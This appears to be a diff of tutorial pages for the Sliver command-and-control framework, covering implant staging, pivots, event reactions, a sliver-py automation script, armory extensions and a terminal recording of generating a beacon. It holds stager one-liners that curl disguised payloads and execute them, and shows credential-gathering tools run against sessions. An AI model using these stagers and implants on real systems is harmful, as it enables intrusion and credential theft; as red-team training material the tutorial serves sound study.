To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/stage_implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
At this point we can try retrieving our implant. The ID is 19778.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/implant_curl.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Sliver staging also supports encoding or encrypting our payloads before exposing them externally using the `profile stage` command, the implant configuration remains the same but you are now able to stage different versions of it simultaneously.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/stage_compress_encrypt.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
A simple stager could look like this, for example in Linux:
|
||||
|
||||
```
|
||||
curl http://localhost/nothingtoseehere.yml?c=1234 --output nothingtoseehere && chmod u+x nothingtoseehere &&nohup ./nothingtoseehere
|
||||
```
|
||||
|
||||
Or on Windows:
|
||||
```
|
||||
curl http://172.20.10.3/test.woff?a=29178 -o t.exe && .\t.exe
|
||||
```
|
||||
@@ -0,0 +1,34 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
Pivots allow routing implant traffic through other implants. This can be useful in environments that don’t have any outbound access, but are reachable from other parts of the network that you have access to.
|
||||
|
||||
Sliver supports two types of pivots: TCP, which can be used on all operating systems, and named pipes, which are Windows-only.
|
||||
|
||||
In both cases the workflow is relatively similar, as a first step, select a session and set up a pivot listener.
|
||||
|
||||
```bash
|
||||
[server] sliver (INNER_GO-KART) > pivots tcp
|
||||
|
||||
[*] Started tcp pivot listener :9898 with id 1
|
||||
|
||||
[server] sliver (INNER_GO-KART) > pivots
|
||||
|
||||
ID Protocol Bind Address Number Of Pivots
|
||||
==== ========== ============== ==================
|
||||
1 TCP :9898 0
|
||||
```
|
||||
|
||||
The listening port and interface can be configured during creation.
|
||||
|
||||
The next step is to generate a payload that will connect to our listener.
|
||||
|
||||
```bash
|
||||
[server] sliver (INNER_GO-KART) > generate --tcp-pivot 127.0.0.1 --os macos
|
||||
|
||||
[*] Generating new darwin/amd64 implant binary
|
||||
[*] Symbol obfuscation is enabled
|
||||
[*] Build completed in 12s
|
||||
[*] Implant saved to /Users/tester/tools/VALUABLE_SICK
|
||||
```
|
||||
|
||||
Executing this payload will cause it to connect back through our original implant and then back to our C2 server.
|
||||
@@ -0,0 +1,220 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
Reactions are a basic way to automate tasks in the sliver console, they allow you to specify sliver commands to run on a list of events.
|
||||
|
||||
```bash
|
||||
Reactable Events:
|
||||
session-connected Triggered when a new session is opened to a target
|
||||
session-updated Triggered on changes to session metadata
|
||||
session-disconnected Triggered when a session is closed (for any reason)
|
||||
canary Triggered when a canary is burned or created
|
||||
watchtower Triggered when implants are discovered on threat intel platforms
|
||||
loot-added Triggered when a new piece of loot is added to the server
|
||||
loot-removed Triggered when a piece of loot is removed from the server
|
||||
```
|
||||
|
||||
Let’s go ahead and create a reaction to list the current directory and environment variables when a new session checks in.
|
||||
|
||||
```bash
|
||||
reaction set -e "session-connected"
|
||||
|
||||
[*] Setting reaction to: Session Opened
|
||||
|
||||
? Enter commands: [Enter 2 empty lines to finish]pwd
|
||||
env
|
||||
? Enter commands:
|
||||
pwd
|
||||
env
|
||||
|
||||
[*] Set reaction to session-connected (id: 1)
|
||||
```
|
||||
|
||||
The reaction is now set, if you spin up a new session these commands will be automatically run on that session’s initial connection.
|
||||
|
||||
```bash
|
||||
[*] Session 99c7a639 UNEXPECTED_PORTER - 127.0.0.1:59966 (test.local) - darwin/amd64 - Thu, 04 May 2023 09:04:58 CEST
|
||||
|
||||
[*] Execute reaction: 'pwd'
|
||||
|
||||
[*] /Users/tester
|
||||
|
||||
[*] Execute reaction: 'env'
|
||||
|
||||
PWD=/Users/tester
|
||||
COLORTERM=truecolor
|
||||
...
|
||||
```
|
||||
|
||||
You can remove reactions using `reaction unset`.
|
||||
|
||||
However, there are a couple of limitations to keep in mind when using reactions, first off, these are run in the console you are currently using, which is not necessarily the server console. So if you are connected to a sliver server using the sliver client, if you disconnect the client the reactions are no longer running.
|
||||
|
||||
Secondly reactions are a relatively basic mechanism, you can’t use any conditional statements or more complex background tasks with them. For more complex use-cases you can instead write your own client in Python or Typescript for example to connect to the server over gRPC, which we’ll cover next.
|
||||
|
||||
## Sliver-py
|
||||
|
||||
For the purposes of this tutorial we’ll write our extensions using Python3, however the same result is achievable using Typescript, Golang or any other language that can handle gRPC.
|
||||
|
||||
First, install the sliver-py extension using pip.
|
||||
|
||||
```bash
|
||||
pip3 install sliver-py
|
||||
```
|
||||
|
||||
Since our extension is essentially going to be another client connection to the sliver server, you’ll also need to enable multiplayer mode and generate a new profile
|
||||
|
||||
```bash
|
||||
[server] sliver > multiplayer
|
||||
|
||||
[*] Multiplayer mode enabled!
|
||||
|
||||
[server] sliver > new-operator -n tester -l 127.0.0.1
|
||||
|
||||
[*] Generating new client certificate, please wait ...
|
||||
[*] Saved new client config to: /Users/tester/tools/tester_127.0.0.1.cfg
|
||||
```
|
||||
|
||||
We now have everything we need to start writing our scripts, let’s run our first example interactively in a Python shell.
|
||||
We first need to import a few dependencies, `SliverClientConfig`, which is used to parse the client config we’ve just created, and `SliverClient`, which will handle the connection to the backend server.
|
||||
|
||||
```bash
|
||||
Python 3.9.16 (main, Dec 7 2022, 10:06:04)
|
||||
Type 'copyright', 'credits' or 'license' for more information
|
||||
IPython 8.0.1 -- An enhanced Interactive Python. Type '?' for help.
|
||||
|
||||
In [1]: from sliver import SliverClientConfig, SliverClient
|
||||
|
||||
In [2]: DEFAULT_CONFIG = "/Users/tester/tools/tester_127.0.0.1.cfg"
|
||||
|
||||
In [3]: config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
|
||||
|
||||
In [4]: client = SliverClient(config)
|
||||
|
||||
In [5]: await client.connect()
|
||||
Out[5]:
|
||||
Major: 1
|
||||
Minor: 5
|
||||
Patch: 37
|
||||
Commit: "0a43dc688ffb31a0a38511c47e8547a44a6918d4"
|
||||
CompiledAt: 1681408237
|
||||
OS: "darwin"
|
||||
Arch: "arm64"
|
||||
```
|
||||
|
||||
From this point on we can use the client object to interact with the server, let’s start with listing any sessions or beacons that might be currently connected.
|
||||
|
||||
```bash
|
||||
In [6]: beacons = await client.beacons()
|
||||
|
||||
In [7]: sessions = await client.sessions()
|
||||
|
||||
In [8]: beacons
|
||||
Out[8]: []
|
||||
|
||||
In [9]: sessions
|
||||
Out[9]:
|
||||
[ID: "f80ec897-0870-4f03-a1b1-364e5a0d243c"
|
||||
Name: "UNEXPECTED_PORTER"
|
||||
Hostname: "test.local"
|
||||
UUID: "c6de1a44-016a-5fbe-b76a-da56af41316d"
|
||||
Username: "tester"
|
||||
UID: "501"
|
||||
GID: "20"
|
||||
OS: "darwin"
|
||||
Arch: "amd64"
|
||||
Transport: "http(s)"
|
||||
RemoteAddress: "127.0.0.1:60218"
|
||||
PID: 74773
|
||||
Filename: "/Users/tester/tools/UNEXPECTED_PORTER"
|
||||
LastCheckin: 1683185925
|
||||
ActiveC2: "http://127.0.0.1"
|
||||
ReconnectInterval: 60000000000
|
||||
PeerID: 4416183373589698218
|
||||
FirstContact: 1683185429]
|
||||
```
|
||||
|
||||
To run commands on this session you’ll need to create an InteractiveSession object.
|
||||
|
||||
```bash
|
||||
In [10]: interact = await client.interact_session("f80ec897-0870-4f03-a1b1-364e5a0d243c")
|
||||
|
||||
In [11]: await interact.pwd()
|
||||
Out[11]: Path: "/Users/tester"
|
||||
```
|
||||
|
||||
Now that we’ve got the basics of connecting to sliver and running commands down let’s write a more useful script that will display the hosts file when a new session checks in. Our goal is to first identify the Operating System, and then based on that retrieve and display the contents of the hosts file if it exists. Because this script will wait and react to events emitted by the Sliver server, we’re going to use `asyncio` to write our client.
|
||||
|
||||
```bash
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import asyncio
|
||||
from sliver import SliverClientConfig, SliverClient
|
||||
import gzip
|
||||
|
||||
DEFAULT_CONFIG = "/Users/tester/tools/neo_127.0.0.1.cfg"
|
||||
|
||||
async def main():
|
||||
''' Client connect example '''
|
||||
config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
|
||||
client = SliverClient(config)
|
||||
await client.connect()
|
||||
|
||||
async for event in client.on('session-connected'):
|
||||
print('Session %s just connected !' % event.Session.ID)
|
||||
|
||||
if __name__ == '__main__':
|
||||
loop = asyncio.get_event_loop()
|
||||
loop.run_until_complete(main())
|
||||
```
|
||||
|
||||
As shown above we can access the session object through `event.Session`. Let’s go ahead and add a few conditions based on the operating system.
|
||||
|
||||
```bash
|
||||
if event.Session.OS == "darwin":
|
||||
print('Session is running on macOS')
|
||||
|
||||
elif event.Session.OS == "Linux":
|
||||
print('Session is running on Linux')
|
||||
elif event.Session.OS == "Windows"
|
||||
print('Session is running on Windows')
|
||||
else:
|
||||
print('Session is running on %s', event.Session.OS)
|
||||
```
|
||||
|
||||
Let’s set up an InteractiveSession object like previously.
|
||||
|
||||
```bash
|
||||
interact = await client.interact_session(event.Session.ID)
|
||||
```
|
||||
|
||||
We’re going to start with writing the code for Linux and macOS, since in their case the file is located in the same place. First we check if the file exists, then we download and decompress it to display its contents using gzip.
|
||||
|
||||
```bash
|
||||
file_listing = await interact.ls("/etc/hosts")
|
||||
if file_listing.Exists:
|
||||
gzipFile = await interact.download("/etc/hosts")
|
||||
contents = gzip.decompress(gzipFile.Data)
|
||||
print('%r' % contents)
|
||||
```
|
||||
|
||||
The code for Windows is relatively similar the only major difference being the file location.
|
||||
|
||||
```bash
|
||||
file_listing = await interact.ls("C:/Windows/System32/drivers/etc/hosts")
|
||||
if file_listing.Exists:
|
||||
gzipFile = await interact.download("C:/Windows/System32/drivers/etc/hosts")
|
||||
contents = gzip.decompress(gzipFile.Data)
|
||||
print('%r' % contents)
|
||||
```
|
||||
|
||||
If we run our script and spin up a few sessions we should start to see hosts files being retrieved.
|
||||
|
||||
```bash
|
||||
python3.11 autocat.py
|
||||
Automatically interacting with session 16338c85-b670-44ab-ac83-2df885654b07
|
||||
b"# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# ...
|
||||
|
||||
Automatically interacting with session 93fcbab2-f00d-44a4-944a-e1ea8ec324e2
|
||||
b'##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1...
|
||||
```
|
||||
@@ -0,0 +1,96 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
The Sliver armory is used to install and maintain third party extensions and aliases within sliver. The full list of available extensions can be found at https://github.com/sliverarmory/armory, keep in mind this is community maintained so not all modules are necessarily up to date.
|
||||
|
||||
You can download all configured extensions/aliases using the armory command.
|
||||
|
||||
```bash
|
||||
[server] sliver > armory install all
|
||||
? Install 18 aliases and 84 extensions? Yes
|
||||
[*] Installing alias 'SharpSecDump' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpChrome' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpDPAPI' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpMapExec' (v0.0.1) ... done!
|
||||
[*] Installing alias 'KrbRelayUp' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpRDP' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpUp' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpView' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharPersist' (v0.0.1) ... done!
|
||||
[*] Installing alias 'Sharp WMI' (v0.0.2) ... done!
|
||||
...
|
||||
[*] All packages installed
|
||||
```
|
||||
|
||||
These commands can then be used in the context of a session or beacon similarly to other commands, with a couple caveats.
|
||||
|
||||
Let’s go ahead and run our first assembly.
|
||||
|
||||
```bash
|
||||
[server] sliver (UNABLE_PRIDE) > seatbelt " WindowsCredentialFiles"
|
||||
|
||||
[*] seatbelt output:
|
||||
|
||||
%&&@@@&&
|
||||
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
|
||||
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
|
||||
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
|
||||
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
|
||||
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
|
||||
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
|
||||
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
|
||||
#####%###################### %%%.. @////(((&%%%%%%%################
|
||||
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
|
||||
&%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%,
|
||||
#%%%%##,
|
||||
|
||||
====== WindowsCredentialFiles ======
|
||||
|
||||
Folder : C:\Users\defaultuser0\AppData\Local\Microsoft\Credentials\
|
||||
|
||||
...
|
||||
```
|
||||
|
||||
As you can see Sliver ran the Seatbelt assembly and provided us with the output of our command.
|
||||
|
||||
## Bof’s
|
||||
|
||||
Beacon object files are loaded using trustedsec’s coffloader. When you run a bof command the loader will first be loaded into memory and is used to run whichever bof you choose. From an operator’s perspective bof’s are similar to basic sliver commands.
|
||||
|
||||
```bash
|
||||
[server] sliver (UNABLE_PRIDE) > sa-whoami
|
||||
|
||||
[*] Successfully executed sa-whoami (coff-loader)
|
||||
[*] Got output:
|
||||
|
||||
UserName SID
|
||||
====================== ====================================
|
||||
test.local\tester
|
||||
|
||||
GROUP INFORMATION Type SID Attributes
|
||||
================================================= ===================== ============================================= ==================================================
|
||||
test.local\None Group S-1-5-21-3109228153-3872411817-1195593578-513 Mandatory group, Enabled by default, Enabled group,
|
||||
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\Local account and member of Administrators groupWell-known group S-1-5-114
|
||||
BUILTIN\Administrators Alias S-1-5-32-544
|
||||
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group,
|
||||
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group,
|
||||
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group,
|
||||
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group,
|
||||
Mandatory Label\Medium Mandatory Level Label S-1-16-8192 Mandatory group, Enabled by default, Enabled group,
|
||||
|
||||
Privilege Name Description State
|
||||
============================= ================================================= ===========================
|
||||
SeShutdownPrivilege Shut down the system Disabled
|
||||
SeChangeNotifyPrivilege Bypass traverse checking Enabled
|
||||
SeUndockPrivilege Remove computer from docking station Disabled
|
||||
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
|
||||
SeTimeZonePrivilege Change the time zone Disabled
|
||||
```
|
||||
|
||||
Since these payloads are run in-process, they have similar advantages and drawbacks as in-process assemblies, meaning no new processes are spawned on execution, but a crash risks losing the implant.
|
||||
@@ -0,0 +1,25 @@
|
||||
const fs = require('fs/promises');
|
||||
const path = require('path');
|
||||
|
||||
const workingDirectory = process.cwd();
|
||||
const directoryPath = `${workingDirectory}/pages/tutorials/md`;
|
||||
|
||||
async function generateSiteMap() {
|
||||
const ls = await fs.readdir(directoryPath);
|
||||
const files = ls.filter((file) => file.endsWith('.md'));
|
||||
const tutorials = [];
|
||||
for (const file of files) {
|
||||
const filePath = path.join(directoryPath, file);
|
||||
const fileContent = await fs.readFile(filePath, 'utf8');
|
||||
const name = path.basename(file).replace('.md', '');
|
||||
tutorials.push({
|
||||
name: name,
|
||||
content: fileContent,
|
||||
});
|
||||
};
|
||||
return {tutorials: tutorials};
|
||||
}
|
||||
|
||||
generateSiteMap().then(async (sitemap) => {
|
||||
await fs.writeFile(`${workingDirectory}/public/tutorials.json`, JSON.stringify(sitemap));
|
||||
});
|
||||
@@ -0,0 +1,527 @@
|
||||
{"version": 2, "width": 107, "height": 52, "timestamp": 1714588161, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.132264, "o", "\u001b[?2004h"]
|
||||
[0.140303, "o", "root@98df0494f659:~# "]
|
||||
[0.525856, "o", "."]
|
||||
[0.571373, "o", "/"]
|
||||
[0.677428, "o", "s"]
|
||||
[0.80137, "o", "l"]
|
||||
[0.900872, "o", "i"]
|
||||
[1.067898, "o", "v"]
|
||||
[1.193122, "o", "e"]
|
||||
[1.279315, "o", "r"]
|
||||
[1.36486, "o", "-"]
|
||||
[1.709238, "o", "s"]
|
||||
[1.754379, "o", "e"]
|
||||
[1.807274, "o", "r"]
|
||||
[2.019023, "o", "v"]
|
||||
[2.17738, "o", "e"]
|
||||
[2.269213, "o", "r"]
|
||||
[2.382114, "o", "\r\n"]
|
||||
[2.388885, "o", "\u001b[?2004l\r"]
|
||||
[3.468332, "o", "\u001b[31m\r\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\r\n\u001b[0m\r\nAll hackers gain dethrone\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m"]
|
||||
[3.469064, "o", "\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[3.47244, "o", "\r\n"]
|
||||
[3.497313, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.498826, "o", "\u001b[1 q"]
|
||||
[3.501024, "o", "\u001b[?25l"]
|
||||
[3.501556, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.5023, "o", "\u001b[6n"]
|
||||
[3.50417, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[3.50457, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[3.505001, "o", "\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[4.278164, "o", "\u001b[?25l\u001b[107D"]
|
||||
[4.281806, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.28757, "o", "g\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[4.288095, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[4.340884, "o", "\u001b[?25l\u001b[107D"]
|
||||
[4.341643, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.344387, "o", "ge\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[4.345112, "o", "\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[4.484076, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.4852, "o", "\u001b[6n"]
|
||||
[4.493927, "o", "gen\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C"]
|
||||
[4.49515, "o", "\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[4.58054, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.589765, "o", "gene\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[4.589973, "o", "\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[4.679829, "o", "\u001b[?25l"]
|
||||
[4.682549, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.688126, "o", "gener\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[14D\u001b[9C\u001b[107D\u001b[14C\u001b[?25h"]
|
||||
[4.781929, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.788173, "o", "genera\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[4.789433, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[15D\u001b[9C\u001b[107D\u001b[15C\u001b[?25h"]
|
||||
[4.917404, "o", "\u001b[?25l\u001b[107D"]
|
||||
[4.918266, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.925373, "o", "generat\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[4.926998, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[16D\u001b[9C\u001b[107D\u001b[16C\u001b[?25h"]
|
||||
[4.955793, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.95674, "o", "\u001b[6n"]
|
||||
[4.961588, "o", "\u001b[1m\u001b[32mgenerate\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[4.962458, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[17D\u001b[9C\u001b[107D\u001b[17C\u001b[?25h"]
|
||||
[5.002059, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.00474, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.005424, "o", "\u001b[107D\u001b[1A\u001b[18D\u001b[9C\u001b[107D\u001b[18C\u001b[?25h"]
|
||||
[5.302176, "o", "\u001b[?25l"]
|
||||
[5.31184, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.318248, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mb\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.321166, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[19D\u001b[9C\u001b[107D\u001b[19C\u001b[?25h"]
|
||||
[5.357574, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.35804, "o", "\u001b[6n"]
|
||||
[5.36021, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.360917, "o", "\u001b[107D\u001b[1A\u001b[20D\u001b[9C\u001b[107D\u001b[20C\u001b[?25h"]
|
||||
[5.394933, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.396164, "o", "\u001b[6n"]
|
||||
[5.398201, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbea\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.39906, "o", "\u001b[107D\u001b[1A\u001b[21D\u001b[9C\u001b[107D\u001b[21C\u001b[?25h"]
|
||||
[5.56706, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.570584, "o", "\u001b[6n"]
|
||||
[5.577426, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeac\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.578044, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[22D\u001b[9C\u001b[107D\u001b[22C\u001b[?25h"]
|
||||
[5.684935, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.701874, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeaco\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[5.703438, "o", "\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[23D\u001b[9C\u001b[107D\u001b[23C\u001b[?25h"]
|
||||
[5.713547, "o", "\u001b[?25l"]
|
||||
[5.714074, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.718082, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.718541, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[24D\u001b[9C\u001b[107D\u001b[24C\u001b[?25h"]
|
||||
[5.888006, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.900577, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[5.901326, "o", "\u001b[25D\u001b[9C\u001b[107D\u001b[25C\u001b[?25h"]
|
||||
[6.09825, "o", "\u001b[?25l"]
|
||||
[6.10032, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.117058, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[6.119032, "o", "\u001b[107D\u001b[1A\u001b[26D\u001b[9C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[6.318356, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.325885, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[9C\u001b[107D\u001b[27C\u001b[?25h"]
|
||||
[6.435974, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.449338, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[6.451031, "o", "\u001b[107D\u001b[1A\u001b[28D\u001b[9C\u001b[107D\u001b[28C\u001b[?25h"]
|
||||
[6.545817, "o", "\u001b[?25l\u001b[107D"]
|
||||
[6.548899, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.553581, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[9C\u001b[107D\u001b[29C\u001b[?25h"]
|
||||
[6.707944, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.725087, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlo\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.725431, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[9C\u001b[107D\u001b[30C\u001b[?25h"]
|
||||
